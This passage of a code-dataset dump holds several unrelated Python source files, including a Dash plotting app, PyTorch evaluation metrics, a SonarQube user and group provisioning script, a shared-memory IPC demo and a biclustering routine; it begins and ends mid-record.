transition={'duration': 500},\n plot_bgcolor=colors['background'],\n paper_bgcolor=colors['background'],\n font=dict(color=colors['text']),\n titlefont=dict(color=colors['text'], size='16'),\n legend=dict(\n font=dict(size=12),\n orientation='v',\n )\n )\n }\n\n@app.callback(\n Output('indicator-graphic', 'figure'),\n [Input('special-column', 'value'),\n Input('xaxis-column', 'value'),\n Input('yaxis-column', 'value'),\n Input('xaxis-type', 'value'),\n Input('yaxis-type', 'value')])\ndef update_dropdown_graph(special_column_name, xaxis_column_name, yaxis_column_name,\n xaxis_type, yaxis_type):\n return {\n 'data': [\n dict(\n x=df_dropdown[df_dropdown[special_column_name] == i][xaxis_column_name],\n y=df_dropdown[df_dropdown[special_column_name] == i][yaxis_column_name],\n text=df_dropdown[df_dropdown[special_column_name] == i]['original_title'],\n mode='markers',\n opacity=0.6,\n marker={\n 'size': 16,\n 'line': {'width': 0.3, 'color': 'white'}\n },\n name=special_names[i][special_column_name]\n ) for i in df_dropdown[special_column_name].unique()\n ],\n 'layout': dict(\n xaxis={\n 'title': axis_names[xaxis_column_name],\n 'type': 'linear' if xaxis_type == 'Linear' else 'log',\n },\n yaxis={\n 'title': axis_names[yaxis_column_name],\n 'type': 'linear' if yaxis_type == 'Linear' else 'log',\n },\n margin={'l': 40, 'b': 40, 't': 10, 'r': 0},\n hovermode='closest',\n transition={'duration': 500},\n plot_bgcolor=colors['background'],\n paper_bgcolor=colors['background'],\n\n font=dict(color=colors['text']),\n titlefont=dict(\n color=colors['text'], size='14'),\n legend=dict(\n font=dict(size=14),\n orientation='v'),\n )\n\n }\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","sub_path":"dynamic_visualization.py","file_name":"dynamic_visualization.py","file_ext":"py","file_size_in_byte":11953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"127694012","text":"from __future__ import print_function, absolute_import\nfrom torchvision.transforms import ToTensor\nimport PIL.Image\nimport matplotlib.pyplot as plt\nimport torch\nimport numpy as np\nimport io\n\n__all__ = ['accuracy', 'confusion_matrix', 'plot_confusion_matrix', 'precision_recall']\n\ndef accuracy(outputs, targets):\n batch_size = targets.size(0)\n\n _, pred = outputs.topk(1, 1)\n pred = pred.view(-1)\n \n targets = targets.long()\n correct = pred.eq(targets)\n\n result = correct.float().sum(0).mul_(100 / batch_size)\n\n return result\n\ndef confusion_matrix(outputs, targets):\n batch_size = targets.size(0)\n n_classes = outputs.size(1)\n\n _, pred = outputs.topk(1, 1)\n pred = pred.view(-1)\n \n targets = targets.long()\n\n confusion = torch.zeros(n_classes, n_classes)\n for i in range(batch_size):\n confusion[targets[i]][pred[i]] += 1\n\n return confusion\n\ndef precision_recall(confusion):\n precision = []\n recall = []\n\n confusion = confusion.numpy()\n\n n_classes = confusion.shape[0]\n\n eps = 0.0000001\n\n for i in range(n_classes):\n sum_row = np.sum(confusion[i, :])\n sum_col = np.sum(confusion[:, i])\n\n rec = confusion[i][i] / sum_row if abs(sum_row) > eps else 0.0\n pre = confusion[i][i] / sum_col if abs(sum_col) > eps else 0.0\n\n precision.append(pre)\n recall.append(rec)\n\n return precision, recall\n\n# https://discuss.pytorch.org/t/example-code-to-put-matplotlib-graph-to-tensorboard-x/15806\ndef plot_to_image(figure):\n buf = io.BytesIO()\n plt.savefig(buf, format='png')\n plt.close(figure)\n buf.seek(0)\n\n image = PIL.Image.open(buf)\n image = ToTensor()(image).unsqueeze(0)\n\n shp = image.shape\n image = image.reshape((shp[1], shp[2], shp[3]))\n\n return image\n\n# https://www.youtube.com/watch?v=k7KfYXXrOj0&ab_channel=AladdinPersson\ndef plot_confusion_matrix(confusion, class_names):\n confusion=confusion.numpy()\n\n n_classes = confusion.shape[0]\n figure = plt.figure(figsize=(n_classes, n_classes))\n plt.imshow(confusion, interpolation=\"nearest\", cmap=plt.cm.Blues)\n plt.title(\"Confusion Matrix\")\n\n indices = np.arange(n_classes)\n plt.xticks(indices, class_names, rotation=45)\n plt.yticks(indices, class_names)\n\n confusion = np.around(\n confusion / confusion.sum(axis=1)[:, np.newaxis], decimals=3\n )\n\n threshold = confusion.max() / 2.0\n\n for i in range(n_classes):\n for j in range(n_classes):\n color = \"white\" if confusion[j, i] > threshold else \"black\"\n\n plt.text(\n i, j, confusion[j, i], horizontalalignment=\"center\", color=color\n )\n\n plt.tight_layout()\n plt.xlabel(\"Predicted Label\")\n plt.ylabel(\"True Label\")\n\n image = plot_to_image(figure)\n return image","sub_path":"utils/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"368151301","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport json\nfrom LeePyLibs import LeeCommon\n\nclass LeeBaseRevert:\n def __init__(self):\n self.leeCommon = LeeCommon()\n self.revertDefaultDBPath = None\n self.revertFiles = []\n \n def clearRevert(self):\n self.revertFiles.clear()\n\n def loadRevert(self, revertDatabaseLoadpath = None):\n if revertDatabaseLoadpath is None: revertDatabaseLoadpath = self.revertDefaultDBPath\n revertDatabaseLoadpath = '%s/%s' % (self.leeCommon.getScriptDirectory(), revertDatabaseLoadpath)\n if not self.leeCommon.isFileExists(revertDatabaseLoadpath): return False\n\n self.revertFiles.clear()\n revertContent = json.load(open(revertDatabaseLoadpath, 'r', encoding = 'utf-8'))\n self.revertFiles = revertContent['files']\n\n # 标准化处理一下反斜杠, 以便在跨平台备份恢复时可以顺利找到文件\n self.revertFiles = [item.replace('\\\\', os.path.sep) for item in self.revertFiles]\n return True\n \n def rememberRevert(self, filepath):\n patchesDir = os.path.normpath('%s/Patches/' % self.leeCommon.getScriptDirectory())\n self.revertFiles.append(os.path.relpath(filepath, patchesDir).replace('/', '\\\\'))\n \n def saveRevert(self, revertDatabaseSavepath = None):\n if revertDatabaseSavepath is None: revertDatabaseSavepath = self.revertDefaultDBPath\n revertDatabaseSavepath = '%s/%s' % (self.leeCommon.getScriptDirectory(), revertDatabaseSavepath)\n if self.leeCommon.isFileExists(revertDatabaseSavepath): os.remove(revertDatabaseSavepath)\n os.makedirs(os.path.dirname(revertDatabaseSavepath), exist_ok = True)\n\n # 标准化处理一下反斜杠, 以便在跨平台备份恢复时可以顺利找到文件\n self.revertFiles = [item.replace('/', '\\\\') for item in self.revertFiles]\n\n json.dump({\n 'files' : self.revertFiles\n }, open(revertDatabaseSavepath, 'w', encoding = 'utf-8'), indent = 4, ensure_ascii = False)\n \n def canRevert(self, revertDatabaseLoadpath = None):\n if revertDatabaseLoadpath is None: revertDatabaseLoadpath = self.revertDefaultDBPath\n self.loadRevert(revertDatabaseLoadpath)\n return len(self.revertFiles) > 0\n\n def doRevert(self, revertDatabaseLoadpath = None):\n if revertDatabaseLoadpath is None: revertDatabaseLoadpath = self.revertDefaultDBPath\n self.loadRevert(revertDatabaseLoadpath)\n\n scriptDir = self.leeCommon.getScriptDirectory()\n patchesDir = os.path.normpath('%s/Patches/' % scriptDir)\n\n for relpath in self.revertFiles:\n # replace('\\\\', os.path.sep) 标准化处理一下反斜杠\n fullpath = os.path.abspath('%s/%s' % (patchesDir, relpath.replace('\\\\', os.path.sep)))\n if self.leeCommon.isFileExists(fullpath):\n os.remove(fullpath)\n\n if self.leeCommon.isFileExists(revertDatabaseLoadpath):\n os.remove(revertDatabaseLoadpath)\n\n self.leeCommon.removeEmptyDirectorys(patchesDir)\n ","sub_path":"Utility/LeePyLibs/LeeBaseRevert.py","file_name":"LeeBaseRevert.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"85803009","text":"import cv2\nimport time\nimport numpy as np\nfrom modules.HandTrackingModule import HandDetector\n\ndetector = HandDetector()\ncap = cv2.VideoCapture(1)\ncap.set(3, 640)\ncap.set(4, 480)\nprevTime = 0\n\n_, frame = cap.read()\nsignature = np.ones(frame.shape, dtype='uint8') * 255\n\nprevPosition = None\n\n\nwhile cv2.waitKey(1) != ord('q'):\n hasFrame, frame = cap.read()\n detector.findHands(frame)\n detector.drawHands()\n frame = detector.getImage()\n position = detector.getLandmarkPosition(8)\n cursor = cv2.circle(signature.copy(), position, 5, (255, 0, 0), 3)\n cursor = cv2.flip(cursor, 1)\n\n if prevPosition != None and position != None:\n position = ((position[0]//10)*10), ((position[1]//10)*10)\n cv2.line(signature, prevPosition, position, (0, 0, 0), 5)\n\n currentTime = time.time()\n fps = 1 / (currentTime - prevTime)\n prevTime = currentTime\n prevPosition = position\n cv2.putText(frame, f'FPS: {int(fps)}', (20, 70),\n cv2.FONT_HERSHEY_PLAIN, 3, (255, 0, 0), 3)\n cv2.imshow('Image', frame)\n cv2.imshow('Signature', cursor)\n\n if cv2.waitKey(1) == ord('c'):\n signature = np.ones(frame.shape, dtype='uint8') * 255\n\ncap.release()\n","sub_path":"FingerSignature.py","file_name":"FingerSignature.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"30165677","text":"#++++++++++++++++++++++++++++++++++++++++++++++++\n# 题目\n# (金融应用程序:计算未来投资额)使用下面的公式编写一个资源读取投资额、\n# 年利率和年数,然后显示未来投资额的程序。\n# 未来投资额 = 投资额 * (1+月投资率)^月数\n#++++++++++++++++++++++++++++++++++++++++++++++++\n\ninvestment = eval(input(\"Enter investment amount: \"))\nrate = eval(input(\"Enter annual interest rate: \"))\nyears = int(input(\"Enter number of years: \"))\n\naccumulated_val = investment * (1 + rate / 1200) ** (years * 12)\n\nprint(\"Accumulated value is %f\" % (accumulated_val))","sub_path":"unit02/Exe_2_19.py","file_name":"Exe_2_19.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"236185051","text":"import numpy as np \nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\ntrainfilename = \"../reuters_sparse_training.txt\"\ntestfilename = \"../reuters_sparse_testcvmerged.txt\"\ninpFile = open(trainfilename,'r')\n\ntotalPages = int(inpFile.readline())\ndocid = int(inpFile.readline())\n\nlabelFreq = [0]*8\nwordFreq = [0]*244\nparaFreq = [0]*2000\n\ndocindex = 0;\nfor i in range(totalPages):\n\tlabels = inpFile.readline().rstrip(\"\\n\")\n\tfor i in range(int(labels)):\t\t#just pass \n\t\tx = int(inpFile.readline().rstrip(\"\\n\") )\n\t\tlabelFreq[x] += 1\n\tnoofpara = int(inpFile.readline().rstrip(\"\\n\"))\n\tparaFreq[docindex] = noofpara\n\tdocindex += 1 \n\t\n\tfor i in range(noofpara ):\n\t\tline = (inpFile.readline().rstrip(\"\\n\").split(\"\\t\"))[1].split()\n\t\tline = [int(x.split(\":\")[0]) for x in line if int(x.split(\":\")[0]) > 0 ]\n\t\tfor word in line:\n\t\t\twordFreq[word] += 1\n\ninpFile.close()\n\ninpFile = open(testfilename,'r')\n\ntotalPages = int(inpFile.readline())\ndocid = int(inpFile.readline())\nfor i in range(totalPages):\n\tlabels = inpFile.readline().rstrip(\"\\n\")\n\tfor i in range(int(labels)):\t\t#just pass \n\t\tx = int(inpFile.readline().rstrip(\"\\n\"))\n\t\tlabelFreq[x] += 1\n\tnoofpara = int(inpFile.readline().rstrip(\"\\n\"))\n\tparaFreq[docindex] = noofpara\n\tdocindex += 1 \n\t\n\tfor i in range(noofpara ):\n\t\tline = (inpFile.readline().rstrip(\"\\n\").split(\"\\t\"))[1].split()\n\t\tline = [int(x.split(\":\")[0]) for x in line if int(x.split(\":\")[0]) > 0 ]\n\t\tfor word in line:\n\t\t\twordFreq[word] += 1\ninpFile.close()\n\n# plt.xlabel('Label Id')\n# plt.ylabel('No of documents')\n# plt.axis( [1,7,0,900] )\n# patch = mpatches.Patch(color='blue', label='No of documents having a particular label')\n# plt.legend(handles=[patch])\n# plt.plot( labelFreq )\n# plt.show()\n\n# plt.xlabel('Term Id')\n# plt.ylabel('Occurrence Frequency in corpus')\n# plt.axis( [1,244,max(min(wordFreq)-1,0),max(wordFreq)+1] )\n# patch = mpatches.Patch(color='blue', label='No of times a term appears in corpus')\n# plt.legend(handles=[patch])\n# plt.plot( wordFreq )\n# plt.show()\n\nplt.xlabel('Document Id')\nplt.ylabel('No of paragraphs')\nplt.axis( [1,2005,max(min(paraFreq)-1,0),max(paraFreq)+5] )\npatch = mpatches.Patch(color='blue', label='No of paragraphs in each document')\nplt.legend(handles=[patch])\nplt.plot( paraFreq )\nplt.show()","sub_path":"Reuter/dataset/dataset-evaluations/frequency-plotting.py","file_name":"frequency-plotting.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"246391519","text":"\"\"\"empty message\n\nRevision ID: 168c653941a7\nRevises: 0f2daa5d0ce3\nCreate Date: 2019-03-19 15:57:53.445938\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '168c653941a7'\ndown_revision = '0f2daa5d0ce3'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('surname', 'lan')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('surname', sa.Column('lan', sa.VARCHAR(), autoincrement=False, nullable=True))\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/168c653941a7_.py","file_name":"168c653941a7_.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"85619347","text":"import os\nimport sys\nimport yaml\nfrom .debug import e_print\n\n\nclass Config:\n @staticmethod\n def load():\n config_file = sys.path[0] + \"/config.yml\"\n if not os.path.exists(config_file):\n with open(config_file, 'w') as yaml_file:\n pass\n with open(config_file) as yaml_file:\n try:\n data = yaml.load(yaml_file, Loader=yaml.FullLoader)\n if data is None:\n data = dict()\n except Exception as err:\n e_print('read config file failed, exception: ', err)\n exit(-1)\n return data\n\n @staticmethod\n def store(data):\n config_file = sys.path[0] + \"/config.yml\"\n with open(config_file, 'w') as yaml_file:\n yaml_file.write(yaml.dump(data, default_flow_style=False))\n","sub_path":"utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"203971628","text":"'''\nCreated on Mar 10, 2015\n\n@author: Sylvain Garcia <garcia.6l20@gmail.com>\n'''\n\nfrom markdown import *\nfrom markdown.extensions.toc import TocExtension\nfrom markdown.extensions.fenced_code import FencedCodeExtension\nfrom markdown.extensions.tables import TableExtension\nfrom markdown.extensions.admonition import AdmonitionExtension\nfrom markdown.extensions.codehilite import CodeHiliteExtension\nfrom weasyprint import HTML, CSS\nimport os\nimport re\nimport tempfile\n\nclass Generator(object):\n '''\n classdocs\n '''\n\n @staticmethod\n def generateHTML(md_filename=None,source=None,css=None):\n if md_filename is None:\n if source is None:\n raise ValueError('You must supply md_filename or source')\n html_filename = tempfile.mktemp('html', 'md-edit')\n else:\n with open(md_filename,'r') as f:\n source = f.read()\n html_filename = os.path.splitext(md_filename)[0] + '.html'\n \n extras=['fenced-code-blocks','toc','footnotes','wiki-tables','code-friendly']\n extensions=[\n TocExtension(baselevel=3),\n FencedCodeExtension(),\n TableExtension(),\n AdmonitionExtension(),\n CodeHiliteExtension()\n ]\n \n \n html = Markdown(extras=extras,extensions=extensions).convert(source)\n \n # custom postprocess\n \n # strike\n strike_pathern = re.compile(r'~{2}(.*?)~{2}')\n html = re.sub(strike_pathern, r'<del>\\1</del>', html)\n \n # quoted\n quoted_pathern = re.compile(r'\\:\\\"(.*?)\\\"\\:')\n html = re.sub(quoted_pathern, r'“\\1”', html)\n \n with open(html_filename,'w') as f: \n f.write(html)\n \n if not css is None:\n html = '<style>' + css + '</style>' + html\n \n return html\n \n @staticmethod\n def generatePDF(md_filename):\n html_filename = os.path.splitext(md_filename)[0] + '.html'\n pdf_filename = os.path.splitext(md_filename)[0] + '.pdf'\n css_filename = 'css/default.css'\n \n Generator.generateHTML(md_filename)\n \n HTML(html_filename).write_pdf(\n pdf_filename,\n stylesheets=[\n CSS(filename=css_filename)\n ]\n )\n","sub_path":"mdedit/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"183136683","text":"\"\"\"\n\nCenario: comunicacao de dez processos com um processo via memoria compartilhada\n10 processos remetente escrevem, cada um para outro 1 processo destinatario distinto,\ntotalizando 10 processos destinatario, que leem e exibem as respectivas mensagens\n\n\"\"\"\n\nfrom multiprocessing import Process, Lock\nfrom multiprocessing.sharedctypes import Value, Array\nfrom os import getpid\nfrom random import randint\nfrom time import time\nimport psutil\n\n# Le variaveis alocadas na memoria compartilhada\ndef leitura(num, pid, lock):\n # Fecha trava para que valores salvos na memoria compartilhada nao sejam alterados no meio da leitura\n lock.acquire()\n\n # Exibe PID do processo destinatario, valor da variavel e PID do\n # processo remetente que escreveu na variavel, que tambem foi\n # passado via memoria compartilhada e calcula tempo de comunicacao\n t = time()\n valor = num.value\n remetente = pid.value\n print(\"Tempo de recebimento: %s\" % (time() - t))\n print(\"Processo %s recebeu o valor %s do processo %s\"\n % (getpid(), valor, remetente))\n\n # Fecha trava\n lock.release()\n\n # Calcula uso de memoria do processo\n p = psutil.Process(getpid())\n print(\"Destinatario:\", p.memory_info())\n\n# Altera valores das variaveis alocadas na memoria compartilhada\ndef escrita(num, pid, lock):\n # Fecha trava para que outro processo nao tente acessar variaveis durante sua escrita\n lock.acquire()\n\n # Altera valor atual da variavel \"num\", salva o PID do processo\n # que alterou a variavel e calcula o tempo de comunicacao\n t = time()\n num.value = randint(100, 999)\n pid.value = getpid()\n print(\"Tempo de envio: %s\" % (time() - t))\n\n # Abre trava\n lock.release()\n\n # Calcula uso de memoria do processo\n p = psutil.Process(getpid())\n print(\"Remetente:\", p.memory_info())\n\n# Realiza a comunicacao via memoria compartilhada de 10 processos\n# com outros 10 processos (1 para cada processo que escreve)\ndef main():\n # Cria trava\n lock = Lock()\n\n # Cria variaveis alocadas na memoria compartilhada, ambas do tipo int e inicializadas em zero\n num = []\n pid = []\n\n for _ in range(10):\n num.append(Value('i', 0))\n pid.append(Value('i', 0))\n\n # Cria processos e atribui a cada um a funcao que executarao\n remetente = []\n for x in range(10):\n p = Process(target=escrita, args=(num[x], pid[x], lock))\n remetente.append(p)\n\n destinatario = []\n for x in range(10):\n p = Process(target=leitura, args=(num[x], pid[x], lock))\n destinatario.append(p)\n\n # Inicia a execucao dos processos e faz processo pai aguardar o termino de execucao dos mesmos\n for p in remetente:\n p.start()\n p.join()\n\n for p in destinatario:\n p.start()\n p.join()\n\nif __name__ == '__main__':\n main()","sub_path":"memoria-compartilhada/mc_10x10.py","file_name":"mc_10x10.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"36888338","text":"#!/usr/bin/python\n\n\nimport sys\nimport getopt\nfrom common import *\n\n\ndef print_help():\n help_string = 'usage: {} -k <project_key> -g <group> [-d <group_description>] '.format(__file__)\n help_string += '-l <login> -n <name> -p <password> [-e <email>] [-s <scm_account>] [-x]'\n print(help_string)\n\n\nproject_key = ''\ngroup_name = ''\ngroup_description = ''\nlogin_id = ''\nlogin_name = ''\nlogin_password = ''\nlogin_email = ''\nlogin_scm = []\nlogin_local = 'true'\nsys_args = sys.argv[1:]\n\ntry:\n opts, args = getopt.getopt(sys_args, \"hk:g:d:l:n:p:e:s:x\", [\"help\", \"project-key=\", \"group=\", \"description=\",\n \"login=\", \"name=\", \"password=\", \"email=\", \"scm=\",\n \"external\"])\nexcept getopt.GetoptError:\n print_help()\n sys.exit(2)\n\nfor opt, arg in opts:\n if opt in ('-h', '--help'):\n print_help()\n sys.exit()\n elif opt in (\"-k\", \"--project-key\"):\n project_key = arg\n elif opt in (\"-g\", \"--group\"):\n group_name = arg\n elif opt in (\"-d\", \"--description\"):\n group_description = arg\n elif opt in (\"-l\", \"--login\"):\n login_id = arg\n elif opt in (\"-n\", \"--name\"):\n login_name = arg\n elif opt in (\"-p\", \"--password\"):\n login_password = arg\n elif opt in (\"-e\", \"--email\"):\n login_email = arg\n elif opt in (\"-s\", \"--scm\"):\n login_scm.append(arg)\n elif opt in (\"-x\", \"--external\"):\n login_local = 'false'\n\n#\n# SonarQube\n# Structures:\n# Project (name, key, branch?, Public*|Private[v6+])\n# View (name, key) [Enterprise version]\n# Group (name, description?)\n# User (login, name, email?, password, scm_account?)\n#\n# Permissions:\n#\n#\n\nurl = base_url + 'user_groups/search'\nparams = {\n 'f': 'name',\n 'q': group_name\n}\n\nresp = requests.get(url=expand_url(url, params), auth=auth)\n\nif resp.status_code != 200:\n print_response_error(resp)\n sys.exit(3)\n\nmsg = decode_json(resp.json())\n\n# {u'paging': {u'pageIndex': 1, u'total': 2, u'pageSize': 100},\n# u'groups': [{u'default': False, u'id': 1, u'name': u'sonar-administrators'},\n# {u'default': True, u'id': 2, u'name': u'sonar-users'}]}\nif msg['paging']['total'] == 0:\n url = base_url + 'user_groups/create'\n headers = {'Content-Type': 'application/json'}\n params = {\n 'name': group_name,\n 'description': group_description\n }\n url = expand_url(url, params)\n\n resp = requests.post(url=url, headers=headers, auth=auth)\n\n if resp.status_code != 200:\n print('Url : {}'.format(url))\n print_response_error(resp)\n sys.exit(4)\n else:\n print(pretty_print_json(resp.json()))\n\n\nurl = base_url + 'users/search'\nparams = {\n 'q': login_id\n}\n\nresp = requests.get(url=expand_url(url, params), auth=auth)\n\nif resp.status_code != 200:\n print_response_error(resp)\n sys.exit(5)\n\nmsg = decode_json(resp.json())\n\n# {u'paging': {u'pageIndex': 1, u'total': 2, u'pageSize': 100},\n# u'groups': [{u'default': False, u'id': 1, u'name': u'sonar-administrators'},\n# {u'default': True, u'id': 2, u'name': u'sonar-users'}]}\nif msg['paging']['total'] == 0:\n url = base_url + 'users/create'\n headers = {'Content-Type': 'application/json'}\n params = {\n 'login': login_id,\n 'name': login_name,\n 'password': login_password,\n 'email': login_email,\n 'local': login_local\n }\n\n for scm in login_scm:\n params.items().append('scmAccount', scm)\n\n url = expand_url(url, params)\n\n resp = requests.post(url=url, headers=headers, auth=auth)\n\n if resp.status_code != 200:\n print('Url : {}'.format(url))\n print_response_error(resp)\n sys.exit(6)\n else:\n print(pretty_print_json(resp.json()))\n\n url = base_url + 'user_groups/add_user'\n headers = {'Content-Type': 'application/json'}\n params = {\n 'login': login_id,\n 'name': group_name\n }\n\n url = expand_url(url, params)\n resp = requests.post(url=url, headers=headers, auth=auth)\n if resp.status_code != 204:\n print('Url : {}'.format(url))\n print_response_error(resp)\n sys.exit(7)\n else:\n url = base_url + 'users/groups'\n params = {\n 'login': login_id\n }\n\n resp = requests.get(url=expand_url(url, params), auth=auth)\n\n if resp.status_code != 200:\n print_response_error(resp)\n sys.exit(8)\n else:\n print(pretty_print_json(resp.json()))\n","sub_path":"sq-grant-access.py","file_name":"sq-grant-access.py","file_ext":"py","file_size_in_byte":4562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"119973952","text":"#Andela Vanesa Tuta, 16.11.2017.\r\n#Vjezba 4, zadatak 6\r\n\r\nniz_1 = input('Unesite prvi niz znakova: ')\r\nniz_2 = input('Unesite drugi niz znakova: ')\r\n\r\nif niz_1 in niz_2:\r\n od = (niz_2.find(niz_1) + len(niz_1))\r\n print(niz_2[od:])\r\nelse:\r\n print('Prvi niz znakova se ne nalazi u drugom nizu znakova.')","sub_path":"Osnove programiranja/Vježba 4/vjezba4_zd06.py","file_name":"vjezba4_zd06.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"140104626","text":"__author__ = 'jorgelopez'\n\nimport wx\n\nclass VPrincipal(wx.Frame):\n\n def __init__(self, parent, title):\n wx.Frame.__init__(self, parent, title=title, size=(640,480))\n #self.control = wx.TextCtrl(self, style=wx.TE_MULTILINE)\n\n self.menubar()\n\n\n self.menuLateral()\n\n self.Centre()\n self.Show(True)\n\n\n\n def menubar(self):\n\n menubar = wx.MenuBar()\n fileMenu = wx.Menu()\n fileItem = fileMenu.Append(wx.ID_EXIT, 'Salir', 'Salir de la aplicacion')\n\n menubar.Append(fileMenu, '&Fileeeee')\n self.SetMenuBar(menubar)\n\n self.Bind(wx.EVT_MENU, self.onQuit, fileItem)\n\n def menuLateral(self):\n panel = wx.Panel(self, -1)\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n\n self.listbox = wx.ListBox(panel, -1)\n hbox.Add(self.listbox, 1, wx.EXPAND | wx.ALL, 20)\n\n def onQuit(self, e):\n self.Close()\n","sub_path":"ventanas/VPrincipal.py","file_name":"VPrincipal.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"181631239","text":"import pandas as pd\r\nfrom operator import itemgetter\r\nimport networkx as nx\r\nfrom networkx.algorithms.bipartite import biadjacency_matrix\r\nfrom sklearn.cluster.bicluster import SpectralCoclustering, SpectralBiclustering\r\nfrom matplotlib import pyplot as plt\r\nimport numpy as np\r\nimport numpy.ma as ma\r\nimport time\r\n\r\nfrom coclust.coclustering import CoclustMod, CoclustSpecMod\nfrom coclust.visualization import (plot_reorganized_matrix,\r\n plot_cluster_top_terms,\r\n plot_max_modularities,\r\n get_term_graph)\r\nfrom coclust.evaluation.internal import best_modularity_partition\r\n\r\nclass BiCluster(object):\r\n def __init__(self):\n pass\r\n\r\n def subcluster3(self, clusterID):\r\n global subModels\r\n\r\n clusterID_array = [int(x) for x in clusterID.split('.')]\r\n # print(clusterID_array)\r\n # print(\"subModels\",subModels)\r\n subMatrix = model.get_submatrix(matrix,clusterID_array[0])\r\n sub_row_order = row_order[model.get_indices(clusterID_array[0])[0]]\r\n sub_column_order = column_order[model.get_indices(clusterID_array[0])[1]]\r\n\r\n for i, cID in enumerate(clusterID_array[1:]):\r\n smID = '.'.join(str(x) for x in clusterID_array[:(i+1)])\r\n print(\"smID\",smID)\r\n sm = subModels[smID]\r\n subMatrix = sm.get_submatrix(subMatrix,cID)\r\n sub_row_order = sub_row_order[sm.get_indices(cID)[0]]\r\n sub_column_order = sub_column_order[sm.get_indices(cID)[1]]\r\n\r\n zeros_cols = np.where(~subMatrix.any(axis=0))[0]\r\n zeros_rows = np.where(~subMatrix.any(axis=1))[0]\r\n subMatrix = np.delete(subMatrix, zeros_cols, 1)\r\n subMatrix = np.delete(subMatrix, zeros_rows, 0)\r\n sub_row_order = np.delete(sub_row_order, zeros_rows)\r\n sub_column_order = np.delete(sub_column_order, zeros_cols)\r\n\r\n num_clusters2 = min(min(subMatrix.shape), num_clusters)\r\n\r\n subModel = CoclustMod(num_clusters2,random_state=0)\r\n\r\n subModels[clusterID] = subModel\r\n # print(\"subModels\",subModels)\r\n subModel.fit(subMatrix)\r\n\r\n for i, label in enumerate(subModel.row_labels_):\r\n rowMap[sub_row_order[i]] = str(clusterID)+\".\"+str(label)\r\n\r\n for i, label in enumerate(subModel.column_labels_):\r\n colMap[sub_column_order[i]] = str(clusterID)+\".\"+str(label)\r\n\r\n # ret = []\r\n # wel = weighted_edge_list.copy()\r\n # wel[\"RECHTSTRAEGER\"].update(wel[\"RECHTSTRAEGER\"].map(rowMap))\r\n # wel[\"MEDIUM_MEDIENINHABER\"].update(wel[\"MEDIUM_MEDIENINHABER\"].map(colMap))\r\n\r\n rowLabelSet = set([str(clusterID)+\".\"+str(x) for x in subModel.row_labels_])\r\n colLabelSet = set([str(clusterID)+\".\"+str(x) for x in subModel.column_labels_])\r\n #---\r\n\r\n rowMap2 = {k:(v if v in rowLabelSet else \"Sonstige\") for k,v in rowMap.items()}\r\n colMap2 = {k:(v if v in colLabelSet else \"Sonstige\") for k,v in colMap.items()}\r\n\r\n wel = weighted_edge_list.copy()\r\n # print(rowLabelSet)\r\n\r\n wel[\"RECHTSTRAEGER\"].update(wel[\"RECHTSTRAEGER\"].map(rowMap2))\r\n wel[\"MEDIUM_MEDIENINHABER\"].update(wel[\"MEDIUM_MEDIENINHABER\"].map(colMap2))\r\n\r\n idc = wel[(wel[\"RECHTSTRAEGER\"].astype(str).str[:len(clusterID)] != clusterID) & (wel[\"MEDIUM_MEDIENINHABER\"].astype(str).str[:len(clusterID)] != clusterID)].index\r\n wel = wel.drop(idc)\r\n\r\n wel2 = weighted_edge_list.copy()\r\n wel2 = wel2.drop(idc)\r\n row_sums_map2 = wel2.groupby(by = [\"RECHTSTRAEGER\"]).sum().to_dict()[\"EURO\"]\r\n row_sums_map2 = {k:float(v) for k,v in row_sums_map2.items()}\r\n column_sums_map2 = wel2.groupby(by = [\"MEDIUM_MEDIENINHABER\"]).sum().to_dict()[\"EURO\"]\r\n column_sums_map2 = {k:float(v) for k,v in column_sums_map2.items()}\r\n\r\n ret = []\r\n ret = wel.as_matrix().tolist()\r\n\r\n # clusters = self.getElementsbyCluster()\r\n inv_rowMap2 = {}\r\n for k, v in rowMap2.items():\r\n inv_rowMap2.setdefault(v, []).append(k)\r\n\r\n inv_colMap2 = {}\r\n for k, v in colMap2.items():\r\n inv_colMap2.setdefault(v, []).append(k)\r\n\r\n clusters = {}\r\n for label in inv_rowMap2:\r\n clusters[label] = {\r\n 